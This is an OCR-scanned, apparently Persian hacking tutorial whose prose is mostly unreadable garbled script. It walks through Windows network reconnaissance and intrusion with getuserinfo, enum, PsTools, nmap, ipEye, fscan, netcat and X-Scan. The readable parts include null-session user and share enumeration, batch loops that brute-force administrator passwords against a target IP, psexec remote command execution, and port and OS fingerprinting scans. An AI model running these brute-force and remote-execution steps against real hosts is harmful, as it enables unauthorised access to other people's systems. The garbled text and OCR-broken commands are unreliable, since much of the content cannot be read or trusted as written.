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U9 e i 48 ol Services 4 S e 58 (w35 5e4S 5,80 44 K 2 lay | (SID=500) ahests gde 4ulid il sise
ol )l (gl La 4s 48 il gl 4 8 ol S aS ) Sessions 4 S a4 R u R e ledr | I8 a4 o Dy Jlad sl
o)) s L <S4S Gl Registry e 4 8 282 e 43 Casd Jeale dale alus 434S ) ) 353 90 (1 s s NetBIOS
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joeware L) »

(e 4S 3 S o )Ll 4y 42 53 Joe Richards sl v 534S joeware ) 3 4 sana 433 S (L yaa () sine 3 53% 5 (5) 30 4S (5 8 ) )
G Ay Gl ga 483 e o i sl ) ) ¢ de gena () 43 Get User Info pb 4e a3 (e o2lia) 2b 515t 3l ol ) (S
_A)}Q»QMUAQA:\L&ASHJ@A?A&MQAS‘ Ge ) ol ) JS G s g )y S

) net slebe B o) Wl ) a2yl ol g2 8148 j505 5358 Net user Glesd 4xd Sl O )l 3 dals (s 558 1l o
S U I 3 ) 5Tl ) am 4S st 33 et iy 316 1y 1)l 48 513 bl (L5 58 (5 s St (5 € phse a5
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C: \> getuserinfo.exe administrator
Getuserinfo V02.05.00cpp Joe Richards (joe@joeware.ne)

January 2002

User information for [Local\administrator

User Name Administrator

Full Name

Description Built-in account for

administrating
the Computer/domain
Users Comment
User Type Admin
Enhanced Authority
Account Type Global
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Workstations
Home Directory
L User Profile
Logon Script

Flags NO_PWD_EXPIRE
Account Expires Never

Password age in days 249

Password last set 7/6/2001 3:22 PM

Bad PWD count 0

Num logons (this machine) 2432

Last logon 3/12/2002 8:24 PM
Logon hours All

Global group memberships *None
Local group memberships *Administrators
Completed .

sla .ﬂ;\é‘).ﬁ‘\sg"_u.n\ cd)}‘k'_\.udgjj_.\s:c\_AScJL)‘)d é@ﬁ\.}&\.ﬂ:m‘ ?‘ cd\dom.l)jjai\_j\)Net USCI'L."‘)MU)-.’L'):’\ sl i
coy el san3ad 6l ) e S 48 a3 (iled Num logons (this machine) s Bad PWD count s Password age in days
J68 2e ga ol Jake 538 b ) gae 4lS dg (i () 0 (53l (o) 43l 4S i€ (ol siae | Bad PWD count 2L, 1Se sl
2 ) 2y 03,85 5 (e ) Password age in days 218 aaae Gl |y sl GldS (6 & )G 50 il adand 50 | Glea (0
L Ol alad ol G (5] 282 Glalad Iy Clus o) daw 68 pifile 4 28 3 )5 Cladd 2)a=d Num logons ald | aaane LB j5 ) s
DS oaldial p ) ) stwd J) 1580 a5 cpl

C:\>Getuserinfo.exe \.
s Sae ) s i 48 apiSie sl

C:\>Getuserinfo.exe \.

Getuserlnfo V02.05.00cpp Joe Richards (joe@joeware.ne)
January 2002

User Accounts For [Local]

Administrator Orc Skycladgirl
Test __Vmware user

A4S O ) a9 Remote a2 Sl Local a2 D)) 0 4S 23S S35l s
C:\> Getuserinfo.exe \\ x.x.x.X\.
C:\> Getuserinfo.exe domain \\x.x.x.x\.
(s ) aA iy i [Pojled x XXX sla 4 ) e (LIl Hlai 0 )0 [P sl )l G Wga ) sa
A8 1) eSS e Sal 5 a5y (L) Gl 4a 1 S O pnd 230 e OIS o 53 ) 51 Casy 31 2ey 43
: ENUM L) 3!
.l ENUM ot o8 53 23 (slgbld (o)l 4l 4S 23800 (8 j2e 4S 5 S0 )l
D8 A iy e ol 3l lad o 2 Ol i 4 )b 81 Gyl ()8 O st 3 O 5l S g3 S g 58 51l 5 o
O b 358 (gl B Al 2 8L S VYR ) e il l Sl 0l L 358 g) aS S | Gl 4l Cand CHH Al e O b S i sl
11 a0 i a5 5 Ll 4t allie ) 5 5 o (4l A4S Cand Sy 1381 a5 () sl 43y K a2l b &y
s 3l cledal (55 pan Ol 480 IS gl a5 AL 5 ) gae 4alS aiian Led 31 B 5 Dle Cand 3l e 4l 0l slelilE
ol Gl 1) a4l p aiiSae el gl B lad j0 5 addae muiagiad 1 sl 4l () 48 jam 40 ad Gl JLia Dlad (e 4S Cand ad
C :\> enum.exc
Usage: enum.exe [switches] [hostname | ip]
-U: get user list
-M: get machine list
-N: get name list dump (different from -U | -M)
-S: get share list
-P: get password policy information
-G: get group and member list
-L: get LSA policy information
-D: dictionary crack, needs -u and -f
-d: he detailed, applies to -U and -s
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-c: don’t cancel sessions

-U: specify username to use (default ™)
-p: specify password to use (default ")
-f:  specify dictfile to use (wants D)

M )sh, aad i g il aS SQallia J) ) DA 0 alS a2 dady (pl 4S
A ol o BB FFO L 5 VWA g sk ) TPCS S i aiia 4S Gl a8 " i€ an i " Jl 4 K (V) cuia
@MNULL&).!J‘&.\B‘\.AL\)J}ML})JU&\‘)Jeb@bﬁhudhaﬂ‘\_\.d\)J.\SGALSJJYCAALALS‘)JQ_QMeﬁu&uc)h)d\)&;lbm\
- prsdine 228 AS M Gl g Lady DRl g sl Sl s Ly SVl (sl (sl Luladls
C:\ enum.exe UMNSPGLD 192.168.0.3
aiSre ool o 98e 48 LS 5l ) Slae e sl JSiie (0 Jidad 4y 3a3 5 3L L s (s Gl Gy s o) a3 48 ghailan
:Jie 2 o2l | UPG s\ gusms ) oS5 (s Dlia,
C \> enum UPG XXX XXX.XXX.XXX
Server: XXX.XXX.XXX.XXX

Password policy:
min length: none
min age: none
max age: 42 days
lockout threshold: none
lockout duration: 30 mins
lockout reset: 30 mins
getting user list (pass 1, index 0) . . . success, got 5.
Administrator Guest IUSR_ALPHA IWAN ALPHA
Tslternet User
Group: Administrators
ALPHA \ Administrator
Group: Guests
ALPHA\ Guest
ALPHA\ Ts Internet User
ALPHA\ IUSR_ALPHA
ALPHA\ IWAM_ ALPHA
Group: Power Users
D0 03 (S gdne e AS il il g, Gl gla pdile cpl AS (e & i se Gl A (2 3 ) dashed aa g adan g 4 i e aS ) shailea
D8 a 4SS a e (o be (IWAN ALPHAJ|USR_A|_PHA)L5LA ‘\Jmﬁéjl_j}AJ‘MJ;}&L@.AL&}S‘LA}SU_\M‘)JUOJJUJL
(A8 28 S gl |y 58) sl il 5 SGle Cay 50 IS Gy 4y G 8 Jlain) (WEB ) s 02080 Gy g s
3 e L4y ) Terminal Services s som Cullad ) A Tslternet User 4L
Detsd oo i | 6 8 e b S 5 S ana e e
C :\> enum.exe MNS XXX.XXX.XXX.XXX
Server: XXX.XXX.XXX.XXX
Setting up session ... success.
Getting namelist (pass 1) ... got 5, 0 left:
Administrator Guest [IUSR_ALPHA [IWAM ALPHA
TsInternetUser
Enumerating shares (pass 1) ... got 3 shares, 0 left:
IPC$ ADMINS C$
GETTING MACHINE LIST (PASS 1,INDEX0) ... SUCCESS, GOT 0.
CLEANING UP ... SUCCESS.

e Dal 4 A 55 L ARl ol st ST 3 soliiiad 3y g oS e abia g g0 o)y IS Cand Gilal s o sMe i e 4S ) shiles
o2 2213 (ilad C$ ) sam o 4l 0 (o2 553 5248 Gl 3l 5l )3 SO sl )l Jad a0 ) 5 s 400§ (s 4y G B s () se Y
Web  adaal L " g i ady )" 4S b 8 aaii 55 0l O (e (2000 o TIS adls (e ) cile DUal gl 4 a3 L, o
) S a0l 0l Led 45 a8 S 5 ol L 3l 18 C:\Winnt\temSys32 Cusd ga 52 5 sl 33 (s (55 ¢ 32 document root
2 e Sl i o) o L 4k 8 ol ey ghia€l 5 Bl Gl (o GiE 4 Aa i L Gy 2 TTS Lia geadia g 0208 Gy g s Aile
o ol 8 L lia) 5o (LSA L s Local Security Authority ) (s abuss 30 Cusa oal Sdedad 3 ) g

ML Hse ey 38U (SID=500 ) e Gl 4S gl gy 49 (el 3 )l g0 b le) ol (San sa
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A3 18 i 250 1) G s 4y 2 S Sy lalid 4 Ja s je e Sl Ol 5 oo —p 5w 4R R 52 3l oS eue b
C:\>enum.exe -UMNSPGL —u administrator —-p " " XXX.XXX.XXX.XXX

MY il K55

= O s L laia, 0,8 3L asA OlalA alai () ps sy e laa BV e 5 5o ISP (i, 48 m e o lal s (5 0 0
52 et JHB (ol sae 4SOl 38 S 3 ))5) (38sels I adanl 54z 3858 ((administrator) se Clus 4S Al
GO a0t S e Gl @y ) L nde ) sie 4alS CRES (g) s € laial | 3 (il B g s gy s S 3585 3 giine ey (et
4833 00,8 Ciyh )y e Ol (5353 U 4S Passport/administrator b 42 Windows Resource Kit s ) 38 a5 4w 50 Cava
SOl L S 4l

Ly gea Ol 40 arSe ol ) lad ) 250 Ol Caaat ad (11 oS e s ) S A8 AS ) a i ol b see 4l RIS (4l
C:\>enum.exe —D —u Administrator —f dict.txt
23) oY aa dict.doc ba 4 5 283 )8 ealdiul 3y 5a ) 55500 1S sU s administrator S sl sba 4o 2l siae Ledi 48
LS5l ) 258 ale (oS0 ) ol K il 5 (2508 4k lan 53 Qb ) 4 ) g
Qm&aﬁd\ﬁﬂgﬁa\gumgu )g\be\,C'_u\A)\ASAASJJEJGJ\.AJ'&L:\A}AM@AASQ“\):\.\ALSLQg._a\.m;d\)gu:a\g._:)i
DS IS e HSE L ars sA T aniSda Al e adidie (le ) e 43 258 (o0 JB s ) a0 4lS 6Ll (50 )8 3 )5 )l ia dlaas
,m\ﬁhgdtiu\%\uQJJ}’;.:\AAQJ'UJ:\A)LSCH\QJA?AAGAQUAQASG&})QQALA\@\J;A)QJ
Mis 48 23agd (o0 2 )l 4S il DUl LaS 0y gl oo oty —p g b1 e 4alS leiulin J) | adaue (i) 5a) Jie G L sa
Ll dg it o p0 4l (50 5800 5l g L (s e Gl )3 ) 250 e JE 4GB Yo (6] o la oLiE) H e 4WlS JL 0 (3 S 0 ) g adal
o ol 3y Hgiua 3 Sl gl (2 e 4l Ay 258 i Dlal e Gl o Ja b 5258 i edldad Claa 45,5 S
o (Sleep sl &l ) saldind L) axS

C :\>>For /F %%p in (dict.exe) do enum.exe ulstari p %% p M XXX.XXX.XXX.XXX >> output.txt && sleep
180s
J):\Mul.u;))mbu)J)\Sebewm&usuﬁas‘)a})geﬁduuLn;Jg;\}SGAGS;\)MASQu\—G @}ug_s_\”g_l};
Crliso oM ad R ga ™ol (S an 3 ) seagly 3 5 S Jla ol ) 430 Sy L)) K W Lad A 50 ) ad g ld 4 e U 238 )
S el s lS (oleals ) (S dBlas (o) e 4alS 50 S oy Jlaia) 2oy | Timit e s Lla 5o )8 ol ol Lk &) (S
s aaiSaa oaldia) yy Olajd )l YL Jilie 4 ds o8 L 4SS ) ) edlil (o) (1] daagdy (LA 1) Anad Cpl (5] )l

C:\> for /F %%p in ( dict.txt ) do for /F %%u in (users.txt) do enum.exe %% u in (usres.txt) do enum.exe u
%%u  p %%p M XXX.XXX.XXX.XXX >> output.txt
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e b ot Al o a4 e ) K0 G
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e S Sl b A Gl 2 K0 Al sine il 5l 5 43l 42 5 Mark Russinovich sl cua 4 4e saae Gl 2550 1) sl 353
O pld a6 YL A8 () al 50 A 05 438 (Sae e DUl SiIaa (5 50 aan o Gulsl (s 4S Canl Gl ad O 5 31 (S
SOI0 a8 L ald el Cad 3 ) (oS Ky 5 2S ad oaliinl ( NULL ) el Juai)
AL )8y dagi ddial yyda jd aia JBlas Al 4y 580 (5 JiSIaa Aagiile 5 0 IS Cus )y Ao sana (ol 4S (l 51y

il AREY s Cand oS el 4l a3Y o

2350 a2 Net Logon (s ys ot 2. an 5131 (ol (ppile O (555 Server abi 4a (oom s e So ol 0 Y @
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S-1-5-21-145-4471165-484763869-1708537768-501
T Dpae 481X 500 S (mge |y lage lun (550 )8 i e G (ol 4S aregiie Lo Vs 53
S sla IS Dl 4l ) e 48 280 () 255 Jlee ) (a5 S S0 350 50 SID Sl 53 0 U i 2 3Y 4S w50 i) 3
128 1 |y s
: PsInfo _) !
48 Gl PsInfo )\)‘g\ﬁﬁu&)}do\)j\ Q) guline \);\‘_AMQJ}AMLMLA\ Caal u};eh‘_;.\;}(us\:mgﬂﬂ 4.5‘55\)1.@%(\0 ))\).\\
o) ) oy Registry 4 lad S) s o4 s | 5 008 caad sla Hot fix Cosdd 5 laal 4y ) 5 dale aloss llid ol IS
-2l G Sle Bl (et 4 Registry oo ) 4ald )l sie 3 )la 50
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix
Do siad ) edldinl e O 5 Cah ol ) Sapb A 2% ) G Sa S Pl A e ) 6l s

C:\>for /L %l in (1, 1, 254) do PsInfo \\xxx.xxX.XXX.XXX.%]1 > systeminfo XXX.XXX.XXX.XXX. %1.txt
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C :\> pskill.exe notepad
2 processes named notepad killed.
:Jie 383 alail |y IS b a8 2k 58 4did il 53 b ) i 4l
C :\»> pskill.exe 1764
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C :\> Pslist.exe | findstr / I notepad
Notepad 1764 8 1 30 1728 0:00:00.020 0:00:00.020 0:00:07.077
Notepad 1044 8 1 30 1724 0:00:00.020 0:00:00.020 0:00:07.077
Notepad 1796 8 1 30 1728 0:00:00.010 0:00:00.020 0:00:03.4835
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2l %SYSTEMROOTY%\System32 L b Gl ) sha s 5l 3 ) 5e ha i sloal s Jlal gl Sl ealiia
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C :\> psexec.exe \\xxx.XXxX.XXX.Xxx ipconfig/all
C :\> psexec.exe \\xxxX.xxXX.XXx.Xxx net use * \\yyy.yyy.yyy.yyy\backups Rch! ve/u: backup
C \> psexec.exe \\xXxX.XXX.XXxX.Xxx c:\cygwin\usr\sbin\sshd
Ca AT a5 ol b 2l JA s 1l pea Lol R
A 3l (S Sqasl gl (i) 0al b aiS da 15 A IS8 L 5 —¢ gmism 0AS Adlial L il s st aly Cany3 )y e S
Ly ol ases Laal jo jlai s jsedalipnan g ) pea 0 famgn 28 o S 33 ( %SYSTEMROOT%\System32 ) Wil )2 254
S a e ol 4k
phae a8 JlS gk ag lany ) fiscan Ol sie L (sl sl (51 S 3 O ) Jlie S ok gliagd Caad o IS o) i e Jlie Sy
A alail ) dale C IS 450l 555 s @85 sleionn W G5 (S 2l 8 o s 555 0 (U)ol

C :\> psexec.exe \\xxx.xxx.XxX.xxx —¢ fscan.exe q bpl-10001 —o targets.txt 192.168.0.1- 192.168.0.255
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Super Scan - -

NTO Scanner - -
Win Scan - -
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: Nmap -)
YLy Latdl aiS e Al ) Yl S 7ol (da b)) Gl Qa‘dﬂueiéaed\ep@-ﬂ
DS dxal pe ) e Ao Al o) iy 0 )

WWW.Insecure.org/nmap
Jucil ) s a8 sl an o Jsniy Agat am 25 483 5 5L S Gl Jale o ) gl (Sdsaa Vs s el ) 4k Jie b o)
1 Ol asS el La NT 50 L Xp Dsdbis 280 SS9 g O Wi b 258 i 15al Y 5) OG0 Gung w6l Xp (65) S ot
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D A ) A8 Caa O AT VLYY (s O Dl 4t s (s 2 e

o= HMapWin v1, 3.1
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] San |
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Soan | Dmcover | Opions | Timing | Fler | Sendce  Wind2
Dptors Cosemand:

T Mo Foap ~ Wi Tisce

" Mo PHLP g

[ Mo Pl Sockets : Bl

I Fowe Rasw Sockst

™ HT4Rmids

Oispus

Harsrg nme ¥, 300 [ woww inmoae org s |

Hosl (127 031] seemns do be 5 subnet beosdosst sddress fretumed § sxdrs pings). Skippieg host

ARG Could Pt deleirhine whel inkerfece [0 roule peckets Iroughi 10 137 10 3.9, changing ping scantype o iCsWF png
Hote: Hool seeems clrwyni. F | 5 realy up, Ted biocking cur png probes, fry 10

Nmap run completed - 1 P pddeesa (0 bosts up) scanned in 18 seconds

L1 »

{CHD: rmap 5 FT 710 e T 31270031 W[ Z=mans | 12300
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Al L) ol (Sl R 5 S dal ) S sl 5580 5 (s 4di ) gl i e cat Jae S Cnl Jae 53 ) la O s g s
S Jalae o s Gl 0 4l 23 ool L (e (g 1) (i S 48 Cand () (Sl R 4 Gy e Le e ki 40 ( NMapWin
1 O hal e il 5 28200 il | (e 8 ol adsi oy

;m‘gﬁw\ﬁou)ébi)anmap@w‘

D Ol d T o janl ) o (Sl K Jae am e i 5 (e j ol Jae (e J )

C:\Program Files\NMapwin\bin>nmap.exe

Nmap V. 3.00 Usage: [nmap [Scan Type(s Options] <host or net Tist>]
Some Common Scan Types ('*' options require root privileges)

* -8S TCP SYN stealth port scan (default if privileged (root))
-ST TCP connect() port scan (default for unprivileged users)
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* -sU UDP port scan )
-SsP ping scan (Find any reachable machines)

* -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only)
-SR/-I RPC/Identd scan (use with other scan types)

Some Common Options (none are required, most can be combined):

* -0 Use TCP/IP fingerprinting to guess remote operating system
-p <range> ports to scan. Example range: '1-1024,1080,6666,31337"'
-F only scans ports listed in nmap-services
-v Verbose. Its use is recommended. Use twice for greater effect.
-PO Don't ping hosts (needed to scan www.microsoft.com and others)

* -pdecoy_hostl,decoy2[,...] Hide scan using many decoys
-T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> General timing policy
-n/-R Never do DNS resolution/Always resolve [default: sometimes resolve]
-oN/-0X/-0G <logfile> output normal/XML/grepable scan logs to <logfile>
-iL <inputfile> Get targets from file; Use '-' for stdin

* -S <your_IP>/-e <devicename> Specify source address or network interface
--interactive Go into interactive mode (then press h for help)
--win_help windows-specific features

Example: nmap -v -sS -0 www.my.com 192.168.0.0/16 '192.88-90.*.*"'

SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES
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ipEye 1.2 - (c) 2000-2001, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)

- http://ntsecurity.nu/toolbox/ipeye/
Error: Too few parameters.
Usage:

ipEye <target IP> <scantype> -p <port> [optional parameters]

ipEye <target IP> <scantype> -p <from port> <to port>

[optional parameters]
<scantype> is one of the following:
-syn = SYN scan ( ¢! 4d>30 g0 S5LSS Gwd 4ailoas giogy )
-fin = FIN scan ( 2,3 £ Jolios dy0 40 JSSg, Jawl il )
-null = Null scan (543 € Hoddoe 230 40 JSSauy Jowl @ais )
-xmas = Xmas scan>br> ( oys3 £ Joaiog oy0 4y JSTgyy Jewl adis )

(note: 0 and scans don't work against Windows systems.

[optional parameters] are selected from the following:
-sip <source IP> = source IP for the scan
-sp <source port> = source port for the scan
-d <delay in ms> = delay between scanned ports in milliseconds

(default set to 750 ms)

uuuuuuuuuuuuuuuuuuuuu

D S ) aal e ) 0 g b (e see JSCE LS e o2alia YU jaaS ) ghailes
ipEye <target IP> <scantype> -p <port> [optional parameters]

ipEye <target P> <scantype> -p <from port> <to port>
@..2:}3‘_}.,\5).3 Iyla e)’g&l.fmd...g\w)A.'&,}auasﬂm\J@}ge‘}ﬁj&nt}jscantype@“;}m‘gj& IP Olea target IPA_\.\;A.S

5 cokel Gys o jlad from port sla 4x s 5L AS Cal &) 93 (o pme 48 280 Al alved —p g 5 (Y0 D2 pd A Hgha 4y a0l
e giae (g ) 0 1) Sy e led (Al to port sl 4
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B ot 1) (1 A4S il (5 50 Cime 48 dessine (51 0315 S e s ) S a (sl 4l 0l s 0 s
e iR s dn (s G oyl o )3 il ey Closed o) s

1O Jie s b eai ) &5y o 4 Juail o Jland 48 o (1l s0) firewall S 45 x Reject o) 5
1 Cans 58 5) 558 sapalS Sl Ly 5 3 50 0y | Dt O e s 3 b U331 ) 300 S0 4S8l 3 Drop 315
13k s o 484 ay 45 a8 Open o) s

: Fscan 4l » -0
Olasilad caati (T S48 25100 S UDP 6l @) s (i s )2 4S Canld FScan 4ebi g ala 1) O (o3 yae Jand 48 (gamy 4l
radilie ) Cseada O 53 s (e sae JSE 5 Gl Caal ) Lid 4Bl o050 0k S

Fscan —u <from port>—<to port> <target [P>
At gala LS oLl (S las aa Hlabald LA L) TP o jled g0 aia ) Cand YU 4l SlS ) giad o gee K& (l il 3 48
115 800 Jup 4 daae (L |5 b sl oy Lah (o
Al —p g 3B Al Al 5 a0 5e 4S 200 b ggas (5 e Sy
Dbl Al o ol Al as a4l 5 5 saaliia (ala Feuly S ai 4 aS ) sla &) g ile Slal Al gla ol ) ealdinl LaS s b g s
Maas il ga Ledi 4 Nmap Jie 2080 43l
WS e s 1) TCP Gl G5 53 sl ol g gmagm sla 40 —p gasm
-Gl dali o) Gle ) e aalali o) —t 5 —d s—c W s s
A fscan s (S5 Ll s | of Slapia 6 5 la g g ol

: UDP Domain Scan 4l y -7
1P cq)g&..\”.l.a\}lmda;)\ Sl dM&@LG&\J\JASQM\UDP Domain SCanMUﬁe:\Sué}AeA\}i:\AAS \)&ﬁJMUﬁ
(i€ e ol ) ) )3 A ol slasss (o) o ) Cand (Sl ) 381 i ) 4l 110 Gl sr W Sy 030 D s) e |

€ UDP. Domain Scanner v0.3 E|E|
From: [127.0.0 [ | Intereal 10
Tor 12700 255 ||| F5355 Strings: [a0
Datato send: |ping |Autu:u-I2u:|nfig j
Scan | Stop | Clear | E xit |

LUIDF Domain Scanner by Shiosk
izt Lz at httpcftho. cibonet
Scanner ready...

Addrezz Pozition: |
Fort Position: |

s
s

ap ¥ Cand g Gl [P g (RS padidia g) n WS e saliie JSb 50 aS ) Chand 1S5 olibli] 4xdd (G 4S a8 pruia o () Lot a0
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o525 BO2K 155 el JLis 2l gia o8 Config Crend
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4S ¢ ledal (5 )4l pan Al e ) A8 Gy AT Al 5 800 A8 (S arii (i )4y el 5 )l pen Als e 3 le Hia Vs
" Grabbing Banner (s, 4z Gledal (555 aan " als 0 3 pline 48 R 020l ad Y osena 48 (50 L Sl 5 il caal ) L 4l
Cal

Grabbing Banner (i s, 4 Sle Sl 5 5l pan

¢ 4daldia

Sal i lua dia (pad B 300 ¢ ariod Gl ol 35 el 4 O i3 b G W a5 Gl DUl (550 aan ¢ )50 Olaia 43 418K )0
el (53 Sy sl Telnet <Ko b adl s 358815 ol ol 5 el Caslian s o) ide (Cigyan 5 pge s Cailas ) s 41
b Ui 0l 0 S el dialane )8 58 LRI 0 131 jshadn | L o 48 o Jlad 5 Jale gl g 53 ¢ b je ol ales )
23S 3 10 O (2008 D18 a i 5505 ) 02083 (g e S 48 ol 3l 3 S (el Y gl (g il 3l S 40 Sl

1) O 4 o jlad 5 ol 03 € 5l ) Of 02383 (g s 3K ains U g 0 Jaaie <y g9 ol 4n e S s 111 58 ke 48003 L U
Al ) siae o ale s 3 )) 50 %0+ o4l ady )8 aaled o 5e | O s O (SW iraa 4k 5l oaldiil U axil sise aregdy
03255 4Be 35 58 Ol an o 3 S Jalad (HlaL 2 gdne (YL Jie pa (1 4S 0 S

DS o LE) a2 se 4n Ol sae alen ) ol o2 Bila ) (aaiadiaS (5 Kon 4ali 2 b i oS telnet 4ebi s 5 )5 4l

A sdue saliin) ¢ SHH Wilawal L Secure Shell O sie b SHH JSG5 5 ) e Sl (55 caszy 3 )) 50 50

2 sina o) (S g i) oy 9y 4r Jlail g pine 4ebn 3l L s elm mail el 3 (S g 5K Cany 3 ) 90 0
,Jﬁgnoamu\LynXuU)gj\ s g Juall (gl

Ol sl 43 O sie 3 ) s il 53 Ly 5 ¢ e ald 0238 (g s (510 SIS oo 65 W Al 4S )l 4l S () 1 45
L s NC 4l 53550 oo oty |y CileDal (5 Sy 5 SIS da b 4xlig ol 4l 2 S o3liind NC 1 ( telnet) asma 4sli
S48 i€ ool ¢ 51 90 5 ) aiSe 3 ge da 5 Ladi A (e G lase lSU Ll () ol sy 3 )05 R4S 80n (5w Sa telnet
Ll g s

1 IS 81 adinen s 4S 03 S Cull a3 53 4 43t (e (g 2ia e aladl | IS 03l Y osane Sy n sla R Gl w831 cpl 4l

Ja 1) (sle alise i 53l g )38 a5 O s ) B0 18 a i edge 2 45 40 3 alail 3 ga ¢ L 2 aladl (353 a4 5iae
A 0 S s Gl O s Al 428 S5 4S 28

:H:\i#b.ﬁmu‘ ﬁj)@qud&ij\telnetuu)gj\ oJ&u\QQ)ﬁ;&ﬁqoﬁd@d\ﬁ

telnet hostname port number
:Wodﬁﬁu\ DA DSl (a gac JMJ\NCMU)..})\cJ\éﬁu\QQ)ﬁ;&g_qodﬁad@d\ﬁj

NC [-options] hostname port[s]

Gl (ran (L 5 e a8 S35 Gl 4kl 5L AS a8 L s 4y 4y ) e | ) —v g s Slad Le [-options] csls 43 2y 5e (p) 534S
e 1) NC JalS i) el
tpsd Jealle Cosd FTP AS YY) s b (il So 4 telnet s NC 4ol b st sae le ¢ 29 (g ) 4l U ol e e SO
C :\> telnet XXX.XXX.XXX.XxX 21
C :\> NC —v XXX.XXX.XXX.XXX 21
P e s 48R ol Jsl Al Gl 2 i
Connected to XXXXXXXXXX
220 ftp29 FTP server (UNIX(r) System V Release4.0) ready.
SYST
215 UNIX Type: L8 Version: SUNOS
dosne la a8 Gl () () ) 2380 oaldial (A2 (s s (51 ) el dn D) 5 dale sl g sida 1 gm (3 4S andsegd e 53
(S S g e 5 2m Ko ol s) Exploit s4ebin () sl s yia Juia 5 235y 2l gina dla e () 0 il
s telnet ) g L (NC ) 4l c) w0 S5 0l S 18 G (i 514800 (10 4S 28300 ) s (5 )53 (e o8 N 44l
A alaih | la S48 & Gl Gy sla R Gl S8 e Dole 4l 5ol SR YL o a8 4i Kiles Cad S0 U8 45d) a8
(s sina JUaE) sDlaial L HTTP IS5 S ealdiiasd L () (s st (g pme S e Lol o180 O 2my ala A &y 5 40 Jlusall )
cw€an g ) Jiedr ai€ g g all s (Hyper Text Transfer Protocol ) ¢ie |
C > Telnet.exe xxx.xxx.Xxxx.xxx 80
Connecting To XXX.XXX.XXX.XXX

HTTP/ 1.1 200 OK
Date: Tue. 29 Jun 2002 07:18:07
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Server: Apache /1.3.14 (UNIX) (Red-hat/Linux)

s 50 A s Ciysr (550 02 omgme " 4AS Cul g gaa s (ol (s sla A4S e aliy So Ledn (B AT 503 S U S 1) Clsa il (0 A
Sole 3l ke b5 afoe 4n Lo ddi aals3ie a8 )8 Bl ) (gl L le (s s me Ol Sl Gl 53 s 11T il | all
eola Lo s Gl ) amn gle (g un S Glad ) sl 4l o) Enter UL 52 20 43558 | ) GET e be casa o8 g3e (e ji
) ) 80 IS Lo Jlia Al e lsa O 5248 e il sa S ey i g 5 30 | Glagd

Caad 1 o O 29 0 500 Dl i B e 5) paS ) (Al Ml and Jea g pile (e Telnet pus w4 (n By 28 S35 ol
L 2l ghe U G ol Jlee SalS IS ) aS 2 a8l 63 g 550 s ca p s 3 ) ) Jete/issue.net BB 5 (s 03 S S
o )l Qg pm s dale aluna & 53 0800 4S o0 pen A da 5 L day 5ol Jha g O calida (gla s b lia A Gaaa il 4
A0

434S Gl Ping Gle® 03 TTL (i) ) el b Jale s g 58 (obalid aa o 5 ailase (Bl J80n slon oS Cany S5 s Gl 0
uu)ﬁmu»j)u;\ J\ad\.ﬁm\d\f g_\u\eJ\JJ\ﬁ@\oJJ.\Mg&‘.})J\)Jpﬂ.\ﬂuﬁ\uiu)\\_g)ﬁdabeﬁwﬁéw\kﬂ)}mw\
Jlie 4 2iSe padidia | s Ol & 5 503 S duailia oy Jsa L 1) O 3y 5 2 3lailae o885 SO TTL O 5w 43 503 S ) 3al | Ping
PuSdAag pn)

C:\>ping XXX.XXX.XXX.XXX

Pinging xxx.xxx.xxx.xxx with 32 bytes of data:

Reply from xxx.xxx.xxx.xxx: bytes=32 time<Ims TTL=128
Reply from xxx.xxx.xxx.xxx: bytes=32 time<Ims TTL=128
Reply from xxx.xxx.xxx.xxx: bytes=32 time<Ims TTL=128
Reply from xxx.xxx.xxx.xxx: bytes=32 time<Ims TTL=128

Ping statistics for XxX.XXX.XXX.XXX :
Packets: Sent =4, Received = 4, Lost =0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = Oms, Maximum = Oms, Average = Oms

Jale a0 TTL e
Windows 9x/NT Intel 32
Windows XP PRO & Home 128
Windows 2000 128
Digital Unix 4.0 Alpha 60
Unisys x Mainframe 64
Linux 2.2.x Intel 64 64
FTX(UNIX) 3.3STRTUS 64 64
SCO Compaq 64
Netware 4.11 Intel 128
AIX 4.3.X IBM/R6000 60
AIX 4.2.X IBM/R6000 60
Cisco 11.2 7507 60

Cisco 12.0 2514255
IRIX 6.x SGI 60

.C'_m\l.mw}y}&bW@b&ig\ﬁw%ﬁNmap@\ Al gab ) iy S ol LMAAJLASJ}L.\LAAuP

A paa i ot |y o 4S oaile 8L Koo als je S hah 5 a0y maiasi ) e W led ) ) ) Sa 8 F Jal e Jladla 0 Y Ja 4y
5 pmar i a3 ailaned e i s )l g ol Sl allae 4S i Ba (g 40 Gadl 5 Lal il lanen o) 40 1 e (Biaauf 4 pls J 5
ISiie LA 1) IS b 50 s ala) 40 S L o 3ilSe 5 Clilae () Sl AS dagdy Ladi U Gl (l 1 (g0 (o Gania 0 [y 51 4
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: Nessus !

355 o Il J5d s (55 4dlinlia aS 2l (e Sl (I IS 481 4S ¢ el ) ) e D) S OB 4l 5l (53l S 4l
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A e 55 Sy )l dlall (358 3 58e O 51 5 593k 5 (51 Nessus § 58 <o (i sa (sa 28 ool Laia ol ) a3Se 4pa 53
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O 4 28 o2l L8 (5 byl (sLa o pdn (i gy ) 2 Nessus isbe scripts ) 4S ead i jsais sl Vs 500 53l
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: X-Scan 4«b_y Nessus_) s g 4

2 4l p dadia
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4l 3 il ghae La Scripts o aa il ja (6l 1 a5la 0] par 4 scripts YYIY (R0 ea o) yan 4000 508 il ) U]UJJSCJLAJ‘
: Gli.& BN RTBIB LS J::g\_) ( X-Scan )A.AL'U.J O S salaiul Update_exe eL'a 40 0 g o) yen

Ve d-foan vl GLIT .;.LEJ."‘E“
File Config Wew Took Language Help |
@ @ b 0| @ & & | @ !
Hiomal | Vudsarablity | Envor | ,
-
M-Scan-v3, 1 Lser Manud j

1, Syskermn requremant; Windows NT4 /2000, €P 2003

2, Introdiction

W-Scan = a gereral network vuinerzblites scanner for scanning network vuinersblites for specific B
are supportable and GUL or QU1 programs are separataly provided, The folowing items can be scannec
waak userfpasswond pairn, and dl of the nessus attack soipts combination, For the most knonsn viner
iother vuinerabities, pleate refer to "Documnent™ and "Vulnerablty ending” in weenw ofocus.org.

we provided a simple SOk in X-5can 3.0 for the purposs of fends can develop plugHing expedent]
